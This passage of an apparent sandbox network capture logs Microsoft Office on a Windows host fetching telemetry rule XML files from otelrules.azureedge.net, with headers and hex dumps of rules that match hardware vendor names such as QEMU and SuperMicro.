T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:28 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:28 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a9097ed3-401e-0064-107c-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000128Z-17cf5b775c4qqs2shC1DFW48m000000000fg000000003sw7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:28 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:28 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000128Z-16547b76f7fd77jrhC1DFWfwq0000000037g000000008x3y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:28 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000128Z-r18f44ddb69vchkhhC1DFWc4bs00000000p000000000fvre x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:28 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 4163e43d-001e-0049-7f9d-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000128Z-164f84587bfjxw6fhC1DFWq94400000006qg00000000a2v8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:29 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:29 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: b3a54522-201e-000c-240c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000129Z-r18f44ddb69clgzfhC1DFWcnwc00000000r0000000005nhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:29 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:29 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000129Z-r18f44ddb69pgpd4hC1DFWgac800000000r0000000005um8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:29 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:29 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000129Z-16547b76f7fr5rfnhC1DFW0am400000003yg00000000m2zp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:29 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:29 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000129Z-16547b76f7fkf5v9hC1DFW2y5s000000068g000000011nau x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:29 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000129Z-16547b76f7f5b5tthC1DFWuk84000000050g00000000zq36 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:30 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ded7fb87-001e-0079-29e1-3912e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000130Z-r18f44ddb69lhcg2hC1DFWbmfc00000000mg00000000acd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:30 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000130Z-16547b76f7fpdsp9hC1DFW8f50000000044g000000009qwy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:30 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1d52295f-e01e-0051-7dc4-3784b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000130Z-r18f44ddb69vchkhhC1DFWc4bs00000000hg00000000rqcz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
